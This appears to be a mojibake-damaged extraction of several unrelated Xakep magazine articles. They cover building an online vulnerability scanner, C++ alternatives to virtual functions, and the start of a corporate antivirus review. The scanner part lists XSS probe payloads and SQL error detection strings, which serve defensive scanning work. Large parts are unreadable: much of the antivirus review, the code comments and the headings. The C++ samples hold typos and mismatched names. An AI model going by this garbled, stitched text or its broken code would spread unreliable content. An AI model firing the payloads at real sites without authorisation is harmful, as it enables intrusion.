4. Возвратить его клиенту в теле HTTP-отклика.

Также параметры сканирования можно задавать с помощью обычных 
HTTP-команд GET и POST, например:

GET /icholescaner.asmx/StartScan?domen=www.enemysite.

com HTTP/1.1

Host: www.site.com

После того, как мы рассмотрели особенности создания и функциони-
рования веб-сервисов и их принципиальное отличие от обычных веб-
приложений (которые функционируют в закрытом режиме, не предо-
ставляя никому свои методы), ты уже можешь начинать писать свой 
сервис, аналогов которому нет в онлайн-приложениях, но полным-
полно на пользовательских компьютерах. Однако я настоятельно 
рекомендую не останавливаться на полученных знаниях, а перейти к 
следующему этапу, на котором мы сможем реализовать процесс обна-
ружения XSS-уязвимостей.

ÄÀ Ó ÂÀÑ ÆÓÊÈ, ÁÀÒÅÍÜÊÀ!
Уязвимости класса «межсайтовый скриптинг», как известно, являются 
следствием неправильной работы фильтра, принимающего входные 
данные от пользователя. Таким образом, хакер может вставить в 
исходный код страницы свой набор символов (в подавляющем боль-
шинстве случаев это JavaScript-код), который впоследствии может 
скомпрометировать легитимного пользователя, открывшего страницу.
Различают два подтипа XSS-уязвимостей: активные и пассивные. В 
двух словах: первые встраиваются непосредственно в код страницы, 
и пользователю достаточно ее открыть, а вторые требуют активности 
со стороны компрометируемого (например, переход по специально 
сформированной ссылке). За подробностями атак этого типа я отправ-
лю тебя… нет, не к гуглу, а к сноскам в этой статье, где собран список 
полезных ресурсов, призванных обогатить тебя информацией по дан-
ному вопросу. Для программиста различия в уязвимостях сервиса не 
играют никакой роли, ведь так или иначе они являются следствием 
некорректной фильтрации, поэтому не будем дальше заострять вни-
мание на описании багов, а перейдем непосредственно к их обнару-
жению средствами онлайн-сканера. Для начала нам нужно составить 
список всевозможных скриптов, имеющихся на исследуемом ресурсе. 
Как это сделать, — однозначного ответа дать не смогу, так как подходы 
к этой задаче у каждого свои, и скорость ее выполнения может замет-
но отличаться. С другой стороны, зачем нам лишние заботы? Пусть 
пользователь сам укажет тот скрипт, который хочет проверить.
После того, как у нас появился URL-адрес скрипта, нам необходимо 
получить генерируемый им исходный код страницы и записать его в 
какую-нибудь переменную для последующего анализа. Делается это 
просто:

Получение HTML-кода страницы

//ôîðìèðîâàíèå çàïðîñà ê ñêðèïòó

WebRequest request = 

WebRequest.Create(Url+"?"+Parametrs);

//ïîëó÷åíèå îòâåòà

WebResponse response = request.GetResponse();

//çàïèñü ïîëó÷åííîãî îòâåòà â ñòðîêîâóþ ïåðåìåííóþ

StreamReader reader = new 

 StreamReader(response.GetResponseStream());

Content = reader.ReadToEnd();

reader.Close();

Имея на руках исходный код страницы, нужно определить количество 
параметров, принимаемых скриптом, чтобы проверить корректность 
их фильтрации. Сделать это можно двумя способами: определить 
на странице все формы для ввода каких-либо данных или же про-
парсить полученный HTML-код на наличие строк вида "/script.
php?a=abcd&b=1234", где script.php — имя исследуемого скрипта. Во 
втором случае у нас в распоряжении будет находиться вся мощь регу-
лярных выражений.  

Схема работы веб-сервиса
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После того, как параметры скрипта собраны и аккуратно помещены 
в массив, наступает самый интересный момент — подстановка «ядо-
витых» запросов и анализ полученных ответов. Под «ядовитыми» 
запросами понимается такое значение, передаваемое параметру, 
которое вызовет выполнение запланированного нами действия, 
например, внедрение в исходный код страницы нашего тега 
JavaScript-кода и т.п. Коллекция таких «ядовитых» строк собрана в 
массиве XSSrequest. Вот несколько элементов этого массива:

string[] XSSrequest = 

{ "<script>alert()</script>", 

"<IMG SRC=\"javascript:alert();\">", 

"<IMG SRC=javascript:alert(&quot;XSS&quot;)>",

…

}

Поочередно подставляя их в каждый из собранных параметров, необ-
ходимо анализировать ответ на наличие внедренного JavaScript-кода. 
Другими словами, нужно каждый раз парсить исходный HTML-код, 
полученный после отправки запроса, на наличие искомой последова-
тельности символов.

ÏÐÎ SQL-INJ, PHP-INC È ÏÐÎ×ÓÞ ÍÅ×ÈÑÒÜ

Распространенные уязвимости прочих классов хоть и имеют другую 
природу и способы эксплуатации, но все же находятся одинаковым, с 
точки зрения автоматизированного поиска, способом. 
Рассмотрим, например, SQL-инъекции — уязвимости, позволяющие 
хакеру изменить логику запроса скрипта к базе данных. Ошибки 
этого типа также, в подавляющем большинстве случаев, являются 
следствием некорректной обработки поступающих от пользователя 
данных, а это значит, что нам не придется менять алгоритмы поиска 
в нашем сканере. Достаточно создать массив «ядовитых» запросов, 
характерных для уязвимостей подобного типа, и проанализировать 
реакцию скрипта (полученный HTML-код + регулярные выражения). 
Вот небольшой список характерных ответов SQL-сервера, говорящих 
о возможности проведения атаки:

string[] SQLErrors = { "mysql_fetch", 

"mysql_query", "\\[obdc", "mysql error", 

"you have an error in your sqlsyntax", 

"odbc drivers error", "\\[microsoft sql" 

...

};

Существуют еще и «слепые» SQL-инъекции, которые в силу своей 
природы не вносят изменения в исходный код страницы и, как след-
ствие, не подлежат обнаружению простым парсингом страницы. С дру-
гой стороны, тебе открывается широкий спектр атак, дающий повод 
для постоянного совершенствования своего продукта.

ÏÀÑÌÓÐÍÎ, ÍÎ ÁÅÇ ÎÑÀÄÊÎÂ
Перспектива развития облачных технологий и веб-сервисов стано-
вится заметна не только крупным компаниям и конечным пользо-
вателям. С развитием технологий создания веб-приложений раз-
работчики приобретают возможность воплотить самые яркие идеи, 
которые уже давно реализованы в качестве стандартных (оффлай-
новых) приложений и востребованы у пользователей персональных 
компьютеров. Кому-то важна финансовая сторона дела, кто-то 
гонится за оригинальностью, а кто-то просто находится «на волне» 
и за пару часов создает продукт, приносящий пользу как юзеру, так 
и своему создателю. Если тема онлайн-сервисов вообще и онлайн-
сканера уязвимостей в частности стала тебе интересна, и ты решил 
попробовать себя в этом направлении, то прошу не держать в себе 
накопившиеся вопросы, а смело задавать их мне — разберемся 
вместе. Облачных тебе приложений на работе и безоблачной погоды 
во время отпуска!. z

Схема осуществления XSS-атаки

Приблизительная статистика распространенности веб-уязвимостей



Реклама



 106  XÀÊÅÐ  06  /137/  10

CODING
 deeonis  deeonis@gmail.com

Предположим, что мы работаем над какой-
нибудь видеоигрой и проектируем иерархию 
игровых персонажей. Практически во всех 
играх надо с кем-то сражаться и кого-то уби-
вать, наша игрушка тоже не исключение. Все 
персонажи могут подвергаться ранения м 
или как-то иначе терять жизненные силы. 
Поэтому мы решаем включить в базовый 
класс иерархии персонажей функцию-член 
healthValue, которая возвращает целочис-
ленное значение, показывающее, сколько 
«жизни» осталось у персонажа. Поскольку 
разные персонажи могут вычислять свою 
жизнь по-разному, то в голову сразу при-
ходит мысль объявить функцию healthValue 
виртуальной:

Функция healthValue

class GameCharacter {

public:

 // âîçâðàùàåò æèçíåííóþ ñèëó 

ïåðñîíàæà

 // â ïðîèçâîäíûõ êëàññàõ 

ìîæíî ïåðåîïðåäåëèòü

 virtual int healthValue() 

const;

 …

};

Тот факт, что мы не объявили функцию 
healthValue как чисто виртуальную, 
означае т, что предполагается некоторая ее 
реализация по умолчанию.
Этот подход настолько очевиден, что сразу 
придет в голову практически любому про-
граммисту. Но эта очевидность в некоторой 
степени мешает нам внимательнее рас-
смотреть задачу и поискать более удачный 
способ реализации нашей иерархии 
классов.

Ïàòòåðí 
«Øàáëîííûé ìåòîä» 
è èäèîìà íåâèðòóàëü-
íîãî èíòåðôåéñà
Начнем с интересной концепции, согласно 
которой виртуальные функции почти всегда 
должны быть закрытыми. Сторонники этой 
концепции предлагают оставить функцию 
healthValue открытой, но сделать ее не вир-
туальной и заставить закрытую виртуальную 
функцию, например doHealthValue, которая 
и выполнит реальную работу.

Идиома не виртуального 

интерфейса

class GameCharacter 

{

public:

 int healthValue() const

Â ÝÒÎÒ ÐÀÇ ÌÛ ÎÒÑÒÓÏÈÌ ÎÒ ÏÐÈÂÛ×ÍÎÃÎ ÔÎÐÌÀÒÀ «3-Õ ÏÐÀÂÈË». 
Ó ÍÀÑ ÁÓÄÅÒ ÂÑÅÃÎ ÎÄÍÀ, ÍÎ Î×ÅÍÜ ÈÍÒÅÐÅÑÍÀß ÒÅÌÀ. ÐÅ×Ü ÏÎÉÄÅÒ 
ÎÁ ÀËÜÒÅÐÍÀÒÈÂÀÕ ÂÈÐÒÓÀËÜÍÛÌ ÔÓÍÊÖÈßÌ. ÀËÜÒÅÐÍÀÒÈÂÛ 
ÝÒÈ ÁÓÄÓÒ ÐÅÀËÈÇÎÂÛÂÀÒÜÑß Ñ ÏÎÌÎÙÜÞ ÏÀÒÒÅÐÍÎÂ 
ÏÐÎÅÊÒÈÐÎÂÀÍÈß.

КОДЕРСКИЕ 
ТИПСЫ И ТРИКСЫ
Ïðàâèëà êîäèíãà íà C++ äëÿ íàñòîÿùèõ ñïåöîâ
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 {

  // âûïîëíèòü ïðåäâàðèòåëüíûå äåéñòâèÿ

  …

  int retVal = doHealthValue();

  // âûïîëíèòü çàâåðøàþùèå äåéñòâèÿ

  ...

 }

private:

 // àëãîðèòì ïî óìîë÷àíèþ

 // ïðîèçâîäíûå êëàññû ìîãóò ïåðåîïðåäåëèòü

 virtual int doHealthValue() const

 {

  …

 }

};

Основная идея этого подхода — дать клиентам возможность вызы-
вать закрытые виртуальные функции опосредованно, через откры-
тые не виртуальные функции-члены. Данный подход известен под 
названием «идиома не виртуального интерфейса» или non-virtual 
interface idiom (NVI). Он представляет собой частный случай более 
широкого паттерна проектирования — «Шаблонный метод». Также 
не виртуальную функцию healthValue можно называть оберткой 
виртуальной функции.
Преимущество идиомы NVI заключается в коде, скрытом за 
комментариями «выполнить предварительные действия» и 
«выполнить завершающие действия». Подразумевается, что 
перед и после выполнения виртуальной функции, обязательно 
будет выполнен некоторый код. Таким образом, обертка на-
строит контекст перед вызовом виртуальной функции, а после 
— очистит его. Например, предварительные действия могут 
заключаться в захвате мьютекса, записей некоторой информа-
ции в лог и т.д. По завершению будет выполнено освобождение 
мьютекса, проверка инвариантов класса и все остальное. Если 
позволить клиентам напрямую вызвать виртуальную функцию, 
то будет очень затруднительно провести такую предваритель-
ную подготовку.
Стоит обратить внимание на то, что мы объявили нашу виртуальную 
функцию doHealthValue закрытой, а не защищенной, то есть, про-
изводный класс может определять ее поведение, но не может вы-
зывать ее. Некоторым это может показаться странным, но здесь нет 
противоречия: определение поведения функции и вызов функции 
в определенное время — это две совершенно независимые друг от 
друга вещи.

В некоторых случаях виртуальную функцию-член можно сделать 
защищенной, а не закрытой. Например, если бы наша функция 
doHealthValue из производного класса вызывала одноименную 
функцию из базового класса, то ее пришлось бы объявить защи-
щенной. Также виртуальную функцию можно сделать открытой, но к 
этому случаю идиома NVI уже неприменима.

Ïàòòåðí «Ñòðàòåãèÿ» 
è óêàçàòåëè íà ôóíêöèè
Идиома NVI — это интересная альтернатива открытым виртуальным 
функциям, но, с точки зрения проектирования, она дает не слишком 
много — мы по-прежнему используем виртуальные функции для 
вычисления жизни каждого персонажа. Гораздо более сильным 
решением с этой точки зрения было бы утверждение о том, что вы-
числения жизненной силы не зависят от типа персонажа и, более 
того, не являются его свойством как такового. Другими словами, за 
эти вычисления будет отвечать функция, не являющаяся членом 
класса. Например, мы можем передавать конструктору класса ука-
затель на функцию, которая осуществляет вычисления жизненной 
силы.

Пример паттерна «Стратегия»

// îïåðåæàþùåå îïèñàíèå

class GameCharacter;

// ôóíêöèÿ ïî óìîë÷àíèþ äëÿ âû÷èñëåíèÿ æèçíåííîé ñèëû

int defaultHealthCalc(const GameCharacter&);

class GameCharacter {

public:

 typedef int (*HealthCalcFunc) (const 

GameCharacter&);

 explicit GameCharacter(HealthCalcFunc 

      hcf = defaultHealthCalc)

 : healthFunc(hcf)

 {}

 int healthValue() const

 {return healthFunc(*this);}

 …

private:

 HealthCalcFunc healthFunc;

};

Итак, мы привели простой пример реализации другого рас-
пространенного паттерна проектирования — «Стратегия». По 
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сравнению с подходами, основанными на виртуальных функ-
циях в иерархии GameCharacter, он предоставляет некоторые 
повышающие гибкость кода преимущества. Одним из таких 
преимуществ является то, что разные экземпляры персонажей 
одного и того же класса могут иметь разные функции вычисле-
ния жизни.

Одно из преимуществ паттерна «Стратегия»

class EvilBadGay: public GameCharacter {

public:

 explicit EvilBadGay(HealthCalcFunc 

      hcf = defaultHealthCalc)

 : GameCharacter(hcf)

 {…}

 …

};

// ôóíêöèè âû÷èñëåíèÿ æèçíè ñ ðàçíûì ïîâåäåíèåì

int loseHealthQuickly(const GameCharacter&);

int loseHealthSlowly(const GameCharacter&);

// îäíîòèïíûå ïåðñîíàæè ñ ðàçíûì ïîâåäåíèåì

// îòíîñèòåëüíî çäîðîâüÿ

EvilBadGay ebg1(loseHealthQuickly);

EvilBadGay ebg2(loseHealthSlowly);

Другой плюс данного паттерна заключается в том, что функция 
вычисления жизненной силы для одного и того же экземпляра 
класса может изменяться с течением времени. Например, класс 
GameCharacter может иметь функцию-член setHealthCalculator, 
которая позволяет заменить текущую функцию расчета жизни.
У этого подхода есть и свои недостатки. Тот факт, что функция вычисле-
ния жизненной силы больше не является функцией-членом иерархии 
GameCharacter, означает, что она не имеет доступа к внутреннему 
состоянию объекта, чью жизненную силу она вычисляет. В этом нет 
ничего страшного, если доступ к этим состояниям предоставляется 
через открытые интерфейсы класса, но иногда этого бывает недоста-
точно. Такого рода проблемы возникают всегда, когда некоторая функ-
циональность выносится из класса наружу. Они будут встречаться и 
далее, так как все следующие проектные решения, которые нами будут 
рассматриваться, так или иначе используют функции, находящиеся 
вне иерархии GameCharacter. Единственный способ разрешить функ-
циям, не являющимся членами класса, доступ к его закрытой части 
— ослабить степень инкапсуляции. Например, класс может объявить 
функции-нечлены друзьями, либо предоставить открытые функции 
для доступа к закрытым частям класса. В каждом конкретном случае 
следует самостоятельно определяться с решением, поскольку от этого 
в большой степени зависит дальнейший ход разработки программы.

Ïàòòåðí «Ñòðàòåãèÿ» 
è êëàññ tr1::function
Класс tr1::function дарит нам еще большую гибкость по сравнению с 
предыдущей реализацией паттерна «Стратегия» с помощью указа-

телей на функции. Объект типа tr::function может содержать любую 
вызываемую сущность (указатель на функцию, функциональный 
объект либо указатель на функцию-член), чья сигнатура совместима 
с ожидаемой. Вот пример использования tr1::function:

Пример использования tr1::function

class GameCharacter;

int defaultHealthCalc(const GameCharacter&);

class GameCharacter {

public:

 // HealthCalcFunc — ëþáàÿ âûçûâàåìàÿ

 // ñóùíîñòü, êîòîðîé ìîæíî â êà÷åñòâå 

 // ïàðàìåòðà ïåðåäàòü íå÷òî, ñîâìåñòèìîå 

 // ñ GameCharacter, è êîòîðàÿ âîçâðàùàåò

 // íå÷òî ñîâìåñòèìîå ñ int

 typedef std::tr1function<int (const 

GameCharacter&)> HealthCalcFunc;

 explicit GameCharacter(HealthCalcFunc 

       hcf = defaultHealthCalc)

 : healthFunc(hcf)

 {}

 int healthValue() const

 {

  return healthFunc(*this);

 }

 …

private:

 HealthCalcFunc healthFunc;

};

Как видишь, HealthCalcFunc — это typedef, описывающий конкрети-
зацию шаблона tr::function. А значит, он работает как обобщенный 
указатель на функцию. Объект типа HelthCalcFunc может содержать 
любую вызываемую сущность, чья сигнатура совместима с заданной. 
Быть совместимой в данном случае означает, что параметр можно 
неявно преобразовать в const GameCharacter&, а тип возвращаемо-
го значения неявно конвертируется в int.
Если сравнить с предыдущим вариантом, где GameCharacter вклю-
чал в себя указатель на функцию, то мы не увидим почти никаких 
отличий. Несмотря на то, что разница не особенно очевидна, на деле 
мы получаем большую степень гибкости в спецификации функций, 
вычисляющих жизненную силу:

Вся мощь tr1::function

// ôóíêöèÿ âû÷èñëåíèÿ æèçíåííîé ñèëû

short calcHealth(const gameCharacter&)

// êëàññ ôóíêöèîíàëüíûõ îáúåêòîâ,

// âû÷èñëÿþùèõ æèçíåííóþ ñèëó
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stuct HealthCalculator {

 int operator() (const GameCharacter&) const

 {…}

};

class GameLevel {

public:

 // ôóíêöèÿ-÷ëåí äëÿ âû÷èñëåíèÿ æèçíè

 float health(const GameCharacter&) const;

 …

};

class EvilBadGay: public GameCharacter {

 …

};

class EyeCandyCharacter: public GameCharacter {

 …

};

EvilBadGay ebg1(calcHealth);

EyeCandyCharacter ecc1(HealthCalculator());

GameLevel currentLevel;

…

EvilBadGay ebg2(

 std::tr1::bind(&GameLevel::health,

   currentLevel,

   _1)

};

Для вычисления жизненной силы персонажа ebg2 следует ис-
пользовать функцию-член класса GameLevel. Но из объявления 
GameLavel::health следует, что она должна принимать один пара-
метр (ссылку на GameCharaster), а на самом деле принимает два, 
потому что имеется еще неявный параметр типа GameLevel — тот, 
на который внутри нее указывает this. Все функции вычисления 
жизненной силы принимают лишь один параметр. Если мы ис-
пользуем функцию GameLevel::health, то должны каким-то образом 
адаптировать ее, чтобы вместо двух параметров она принимала 
только один. В этом примере мы хотим для вычисления здоровья 
ebg2 в качестве параметра типа GameLevel всегда использовать 
объект currentLevel, поэтому привязываем его как первый пара-
метр при вызове GameLevel::health. Именно в этом и заключается 
смысл вызова tr1::bind — указать, что функция вычисления жизни 
ebg2 должна в качестве объекта типа GameLevel использовать 
currentLevel.

«Êëàññè÷åñêèé» ïàòòåðí «Ñòðàòåãèÿ»
Традиционный подход к реализации паттерна «Стратегия» состоит в 
том, чтобы сделать функцию вычисления жизненной силы виртуаль-

ной функцией-членом в классах, принадлежащих отдельной иерар-
хии. В коде это будет выглядеть примерно так:

Классическая реализация паттерна «Стратегия»

// îïåðåæàþùåå îïèñàíèå

class GameCharacter;

class HealthCalcFunc {

public:

 …

 virtual int calc(const GameCharacter& gc)const

 {…}

 …

};

HealthCalcFunc defaultHealthCalc;

class GameCharacter {

public:

 explicit GameCharacter(HealthCalcFunc 

      *phcf = &defaultHealthCalc)

 : pHealthCalc(phcf)

 {}

 int healthValue() const

 {return pHealthFunc->calc(*this);}

 …

private:

 HealthCalcFunc *pHealthFunc;

};

Здесь GameCharacter — корень иерархии, в которой EvilBadGay 
и EyeCandyCharacter являются производными классами. 
HealthCalcFunc — корень иерархии, в которой производными 
классами являются SlowHealthLooser и FastHealthLooser. Каждый 
объек т типа GameCharacter содержит указатель на объект из иерар-
хии HealthCalcFunc.
Этот подход привлекателен прежде всего тем, что он предоставляет 
возможность модифицировать существующий алгоритм вычисления 
жизненной силы путем добавления производных классов в иерар-
хию HealthCalcFunc.

Çàêëþ÷åíèå
Из моей сегодняшней статьи можно извлечь одну практическую ре-
комендацию: размышляя над тем, как решить стоящую перед тобой 
задачу, имеет смысл рассматривать не только виртуальные функции. 
В следующий раз мы продолжим ковырять C++ вглубь и вширь. До 
встречи!  z
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Антивирусных решений для защиты корпоративной сети сегодня на 
рынке более чем достаточно. От обилия брендов рябит в глазах, засве-
тились как зарубежные производители, так и отечественные. В таких 
условиях выбрать действительно подходящее решение очень сложно. 
Обычные критерии отбора, которыми руководствуются пользователи 
домашних компов, здесь не прокатят, так как на первый план выходят 
удобство управления и развертывания, а также поддержка нужных ОС 
и приложений.

Санитарная 
обработка офиса

КАК БУДЕМ ВЫБИРАТЬ?
Ñîâðåìåííûé îôèñ ìîæåò íàñ÷èòûâàòü íå îäèí 
äåñÿòîê, à òî è ñîòíþ êîìïüþòåðîâ, íå ãîâîðÿ 
óæå î íàëè÷èè íåñêîëüêèõ ñåðâåðîâ, èãðàþùèõ 
ñàìóþ ðàçíóþ ðîëü: ïî÷òîâûé, ôàéëîâûé, êîë-
ëåêòèâíîé ðàáîòû è òàê äàëåå. Èñïîëüçîâàíèå 

îáû÷íûõ àíòèâèðóñîâ, êîòîðûå ìû ïðèâûêëè 
âèäåòü íà äåñêòîïàõ, â òàêèõ óñëîâèÿõ êðàéíå 

çàòðóäíèòåëüíî. Âåäü óïðàâëåíèå äîìàøíèìè 
âåðñèÿìè ïðîèçâîäèòñÿ íåïîñðåäñòâåííî ñ 

ðàáî÷åãî ìåñòà, à ïðîáåæàòüñÿ ïî íåñêîëüêèì 
ñîòíÿì êîìïüþòåðîâ, ÷òîáû ïðîâåðèòü, íàïðè-

ìåð, êàê íàêàòèëîñü îáíîâëåíèå, ôèçè÷åñêè 
íåâîçìîæíî (èñïîëüçîâàíèå ñðåäñòâ óäàëåííî-

ãî àäìèíèñòðèðîâàíèÿ çäåñü òîæå íå âàðèàíò). 
Äîâåðèòü ýòó îïåðàöèþ ïîëüçîâàòåëþ — çíà÷èò 
ïîäâåðãíóòü ñåòü îïàñíîñòè è ñâåñòè íà íåò 

âñå óñèëèÿ ïî çàùèòå. Äà è ôàêòè÷åñêè òàê ìû 
ëèøàåì ñåáÿ ÷àñòè õëåáà, êàæäûé æå äîëæåí 
âûïîëíÿòü ñâîþ ðàáîòó. Èìåííî ïîýòîìó ðûíîê 
àíòèâèðóñíûõ êîðïîðàòèâíûõ ñèñòåì ðàçâè-
âàåòñÿ ïî ñâîèì çàêîíàì, è áîðüáà çà çàêàç÷èêà 

âåäåòñÿ î÷åíü ñåðüåçíàÿ, âåäü àíòèâèðü îáû÷íî 
âûáèðàþò îäèí ðàç è ïîòîì äðóæàò ñ íèì ìíî-
ãèå ãîäû.

Êîðïîðàòèâíûå ðåøåíèÿ ñòðîÿòñÿ ïî ñõåìå 
«êëèåíò-ñåðâåð», ïðîöåññ óïðàâëåíèÿ íà 
âñåõ ýòàïàõ îò óñòàíîâêè äî îáíîâëåíèÿ áàç è 
ñáîðà äàííûõ î ðàáîòå àãåíòîâ ïðîèçâîäèòñÿ ñ 
óäàëåííîé êîíñîëè. Ñåðâåðíàÿ ÷àñòü ñîäåðæèò 

áàçó äàííûõ SQL, ïðè ýòîì äëÿ íåáîëüøèõ ñåòåé 
îáû÷íî õâàòàåò âîçìîæíîñòåé, çàëîæåííûõ 
âî âñòðîåííîé áàçå, ïîñòàâëÿåìîé áåñïëàòíî 

âìåñòå ñ äèñòðèáóòèâîì. Â öåëÿõ ýêîíîìèè 
èíòåðíåò-òðàôèêà îáíîâëåíèå àíòèâèðóñíûõ 
êëèåíòîâ ïðîèçâîäèòñÿ ñ âíóòðåííåãî ñåðâåðà.
Íà ýòîì îáùåå ìåæäó êîðïîðàòèâíûìè àíòè-
âèðóñàìè çàêàí÷èâàåòñÿ. Êàæäàÿ ðåàëèçàöèÿ 
èìååò ñâîè îñîáåííîñòè: ïîääåðæêà ÎÑ è 
ïëàòôîðì äëÿ ñåðâåðà è êëèåíòîâ, ïðèâÿçêà ê 

ñïåöèôè÷åñêîìó ÏÎ (íàïðèìåð, IIS èëè SQL 
Server), ôóíêöèîíàëüíîñòü êëèåíòñêèõ ìîäó-

ëåé, ëîêàëèçàöèÿ. È, êîíå÷íî æå, åñòü îòëè÷èÿ â 
öåíå è ñïåöèôèêå ëèöåíçèðîâàíèÿ. Âî âñåõ ýòèõ 

âîïðîñàõ ìû è ïîïðîáóåì ðàçîáðàòüñÿ.
Â ñåãîäíÿøíèé îáçîð â êà÷åñòâå ïîäîïûòíûõ 

ïîïàëè:
• Kaspersky Open Space Security (KOSS, kaspersky.
ru) — ëèíåéêà ïðîäóêòîâ Ëàáîðàòîðèè Êàñïåð-

ñêîãî äëÿ çàùèòû êîðïîðàòèâíûõ ñåòåé ëþáîãî 
ìàñøòàáà è ñëîæíîñòè;
• Dr.Web Enterprise Suite (ES, drweb.com) — ðå-
øåíèå äëÿ çàùèòû ðàáî÷èõ ñòàíöèé è ôàéëîâûõ 
ñåðâåðîâ Windows, ïî÷òîâûõ ñåðâåðîâ Unix íà 
ïðåäïðèÿòèÿõ ëþáîãî ðàçìåðà;
• ESET NOD32 Smart Security Business Edition 
(SSBE, esetnod32.ru) — êîìïëåêñíàÿ çàùèòà 

ñåðâåðîâ è ðàáî÷èõ ñòàíöèé Windows è Linux;
• avast! Enterprise Suite (avast.com/ru-ru) — ëè-

íåéêà ïðîäóêòîâ äëÿ çàùèòû ðàáî÷èõ ñòàíöèé 
Windows, Windows è Linux ñåðâåðîâ, à òàêæå 

ïðîäóêòîâ Kerio Mail/WinRoute;
• Symantec Endpoint Protection (SEP, symantec.
com/ru) — äàëüíåéøåå ðàçâèòèå Symantec 
AntiVirus Corporate Edition ñ óëó÷øåííûìè ôóíê-
öèÿìè ïðåäîòâðàùåíèÿ óãðîç.

Èìåííî ýòè ðåøåíèÿ íàõîäÿòñÿ â ÒÎÏ ïðè ïîèñ-
êå íà ñïåöèàëèçèðîâàííûõ ðåñóðñàõ.

КОМПЛЕКТАЦИЯ И ВОЗМОЖНОСТИ
Kaspersky Open Space Security
Ëèíåéêà KOSS ñîñòîèò èç íåñêîëüêèõ ïðî-

äóêòîâ (îêîëî 20), îáåñïå÷èâàþùèõ çàùèòó 
ñàìûõ ðàçíîîáðàçíûõ ðåñóðñîâ: ðàáî÷èõ 

ñòàíöèé (Windows XP — Se7en 32/64-bit, 
Linux), ñìàðòôîíîâ (Symbian), èíòåðíåò-

øëþçîâ, ïî÷òîâûõ (Sendmail, Qmail, Postfix, 
Exim, Exchange, Lotus) è ôàéëîâûõ ñåðâåðîâ 

(Windows, Linux, NetWare). Âñå îíè ïîä÷è-
íÿþòñÿ åäèíîé êîíñîëè óïðàâëåíèÿ Kaspersky 

Administration Kit. Àäìèíèñòðàòîð ñàìîñòîÿ-
òåëüíî ñîáèðàåò ìîçàèêó èç êîìïîíåíòîâ, íå-
îáõîäèìûõ äëÿ çàùèòû ñèñòåì è ñåðâèñîâ. Íî 

ïðè ýòîì ïðîöåññ èõ îòáîðà è ïîäñ÷åòà ñóììû 
ëèöåíçèè î÷åíü ïðîçðà÷åí, ïîýòîìó íåïðèÿò-
íûõ ñþðïðèçîâ óäàåòñÿ èçáåæàòü. Ëèöåíçèÿ 
ðàññ÷èòûâàåòñÿ èç êîëè÷åñòâà âûáðàííûõ 
êîìïîíåíòîâ, òèï êîìïîíåíòà íà öåíó íå 

âëèÿåò. Êëèåíò àíòèâèðóñà Êàñïåðñêîãî äëÿ 
Windows/Linux Workstation, óñòàíàâëèâàåìûé 
íà ðàáî÷èå ìåñòà ïîëüçîâàòåëåé, îáåñïå÷è-

âàåò êîìïëåêñíóþ çàùèòó è âêëþ÷àåò â ñåáÿ 
àíòèâèðóñ, IDS/IPS, àíòèôèøèíã, êîíòðîëü 
òðàôèêà è ïîäêëþ÷åíèå âíåøíèõ óñòðîéñòâ. 
Êðîìå ýòîãî, â KOSS ðåàëèçîâàíà ïîääåðæêà 
Cisco NAC è Microsoft NAP (ïîäðîáíåå î òåõíî-

ëîãèè çàùèòû ñåòåâîãî äîñòóïà NAP ñìîòðè 
â ñòàòüå «Ñåòåâîé êîï», îïóáëèêîâàííîé â ][ 
12.2008).

ВЫБИРАЕМ КОРПОРАТИВНЫЙ АНТИВИРУС
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Dr.Web Enterprise Suite
Íåäàâíî àíîíñèðîâàííûé Dr.Web ES 5.0 ïîçèöèîíèðóåòñÿ êàê óíèâåð-
ñàëüíîå ñðåäñòâî äëÿ çàùèòû ðàáî÷èõ ñòàíöèé è ôàéëîâûõ ñåðâåðîâ 
Windows (Win95 — Win7, êëèåíòû òîëüêî 32-bit, ñåðâåðû 32/64-bit), à 
òàêæå ïî÷òîâûõ ñåðâåðîâ Unix (Linux, FreeBSD äî 7.1, Solaris). Íàëè÷èå 
â ñïèñêå óñòàðåâøèõ âåðñèé ÎÑ ÷àñòî ÿâëÿåòñÿ ðåøàþùèì àðãóìåíòîì 

ïðè âûáîðå ýòîé ðàçðàáîòêè â îðãàíèçàöèÿõ, ãäå òàêèõ ñèñòåì ìíîãî, à 
àïãðåéä íåæåëàòåëåí èëè íåâîçìîæåí. Ñîîòâåòñòâåííî, íåâûñîêè è ñèñ-

òåìíûå òðåáîâàíèÿ, íåîáõîäèìûå äëÿ ðàáîòû àãåíòà Dr.Web íà êîìïüþ-
òåðàõ ïîëüçîâàòåëåé. Âñå êîìïîíåíòû (àãåíò è ñåðâåð) ðàçâîðà÷èâàþòñÿ ñ 

îäíîãî äèñòðèáóòèâà, ÷òî çàìåòíî óïðîùàåò ïðîöåññ óñòàíîâêè. Óïðàâëå-
íèå ïðîèçâîäèòñÿ ïðè ïîìîùè ëîêàëèçîâàííûõ êîíñîëè óïðàâëåíèÿ è/

èëè âåá-èíòåðôåéñà. Ïîñëåäíèé ïîÿâèëñÿ â âåðñèè 5.0 è ñäåëàí ñ ó÷åòîì 
âîçìîæíîé ðàáîòû íåïîäãîòîâëåííîãî ïîëüçîâàòåëÿ. Â çàâèñèìîñòè 

îò âèäà ëèöåíçèè, àãåíò áóäåò îáåñïå÷èâàòü ðàçëè÷íóþ ôóíêöèîíàëü-
íîñòü. Äëÿ ëèöåíçèè «àíòèâèðóñ» ïîëó÷àåì àíòèâèðóñ, àíòèðóòêèò è 
àíòèøïèîí, ïðè íàëè÷èè ëèöåíçèè «êîìïëåêñíîé çàùèòû» äîáàâëÿþòñÿ 

àíòèñïàì, âåá-àíòèâèðóñ è îôèñíûé êîíòðîëü (óïðàâëåíèå äîñòóïîì ê 
ñåòåâûì è ëîêàëüíûì ðåñóðñàì). Äîïîëíèòåëüíî ìîæåò óñòàíàâëèâàòüñÿ 
NAP Validator, îáåñïå÷èâàþùèé ïðîâåðêó ñîîòâåòñòâèÿ ïîëèòèêàì NAP.

ESET NOD32 Smart Security Business Edition
Ðàçðàáîòêà îò ESET ÿâëÿåòñÿ êîìïëåêñíûì ðåøåíèåì, ïðåäíàçíà÷åí-
íûì äëÿ çàùèòû êàê ðàáî÷èõ ñòàíöèé, òàê è ñåðâåðîâ. Âîçìîæíîñòè êëè-
åíòñêîé ÷àñòè àíòèâèðóñà ñîâïàäàþò ñ îñíàùåíèåì NOD32, êîòîðûé ìû 

ïðèâûêëè âèäåòü íà äåñêòîïàõ. Îñíîâîé  ÿâëÿåòñÿ ìîäóëü ThreatSense, 
èñïîëüçóþùèé ñèãíàòóðíûé è ýâðèñòè÷åñêèé/ïðîàêòèâíûé àíàëèç äëÿ 
